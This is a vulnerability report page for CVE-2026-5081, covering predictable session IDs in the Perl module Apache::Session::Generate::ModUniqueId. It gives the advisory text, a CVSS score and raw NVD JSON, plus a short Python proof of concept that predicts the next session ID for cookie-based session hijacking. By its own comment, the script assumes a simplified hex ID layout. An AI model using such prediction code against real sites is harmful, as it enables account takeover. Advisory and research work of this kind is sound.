Security Vulnerability Report
中文
CVE-2026-5081 CVSS 9.1 CRITICAL

CVE-2026-5081

Published: 2026-05-06 13:16:10
Last Modified: 2026-05-07 14:52:27
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Apache::Session::Generate::ModUniqueId versions from 1.54 through 1.94 for Perl session ids are insecure. Apache::Session::Generate::ModUniqueId (added in version 1.54) uses the value of the UNIQUE_ID environment variable for the session id. The UNIQUE_ID variable is set by the Apache mod_unique_id plugin, which generates unique ids for the request. The id is based on the IPv4 address, the process id, the epoch time, a 16-bit counter and a thread index, with no obfuscation. The server IP is often available to the public, and if not available, can be guessed from previous session ids being issued. The process ids may also be guessed from previous session ids. The timestamp is easily guessed (and leaked in the HTTP Date response header). The purpose of mod_unique_id is to assign a unique id to requests so that events can be correlated in different logs. The id is not designed, nor is it suitable for security purposes.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Apache::Session::Generate::ModUniqueId 1.54 - 1.94

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-5081: Session ID Prediction # Description: This script demonstrates how to predict the next session ID # based on the structure of Apache mod_unique_id. import struct def parse_unique_id(encoded_id): # Apache mod_unique_id structure (simplified representation): # 4 bytes: IP Address # 4 bytes: PID # 4 bytes: Timestamp # 2 bytes: Counter # 2 bytes: Thread Index # Note: The actual encoding is often base64 or similar, depending on config. # This assumes a hex dump of the internal structure for demonstration. try: # Extract components based on fixed offsets ip_hex = encoded_id[0:8] pid_hex = encoded_id[8:16] time_hex = encoded_id[16:24] counter_hex = encoded_id[24:28] ip_int = int(ip_hex, 16) pid = int(pid_hex, 16) timestamp = int(time_hex, 16) counter = int(counter_hex, 16) return { "ip": ip_int, "pid": pid, "timestamp": timestamp, "counter": counter } except Exception as e: print(f"Error parsing ID: {e}") return None def predict_next_id(current_id): data = parse_unique_id(current_id) if not data: return None # Logic: Increment the counter to predict the next ID next_counter = data['counter'] + 1 # Reconstruct the ID (Hex representation) # Format: IP(8) + PID(8) + TIME(8) + COUNTER(4) + THREAD(4) next_id = f"{current_id[0:24]}{next_counter:04x}{current_id[28:]}" return next_id if __name__ == "__main__": # Example of a leaked session ID (Hex format for demo) leak_id = "c0a80164123456786432f12300120000" print(f"[+] Leaked Session ID: {leak_id}") predicted = predict_next_id(leak_id) if predicted: print(f"[+] Predicted Next Session ID: {predicted}") print("[!] Attacker can send this ID in the cookie to hijack the session.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5081", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-06T13:16:09.833", "lastModified": "2026-05-07T14:52:27.380", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache::Session::Generate::ModUniqueId versions from 1.54 through 1.94 for Perl session ids are insecure.\n\nApache::Session::Generate::ModUniqueId (added in version 1.54) uses the value of the UNIQUE_ID environment variable for the session id. The UNIQUE_ID variable is set by the Apache mod_unique_id plugin, which generates unique ids for the request. The id is based on the IPv4 address, the process id, the epoch time, a 16-bit counter and a thread index, with no obfuscation.\n\nThe server IP is often available to the public, and if not available, can be guessed from previous session ids being issued. The process ids may also be guessed from previous session ids. The timestamp is easily guessed (and leaked in the HTTP Date response header).\n\nThe purpose of mod_unique_id is to assign a unique id to requests so that events can be correlated in different logs. The id is not designed, nor is it suitable for security purposes."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-340"}]}], "references": [{"url": "https://httpd.apache.org/docs/current/mod/mod_unique_id.html", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/pod/Apache::Session::Generate::Random", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/06/6", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}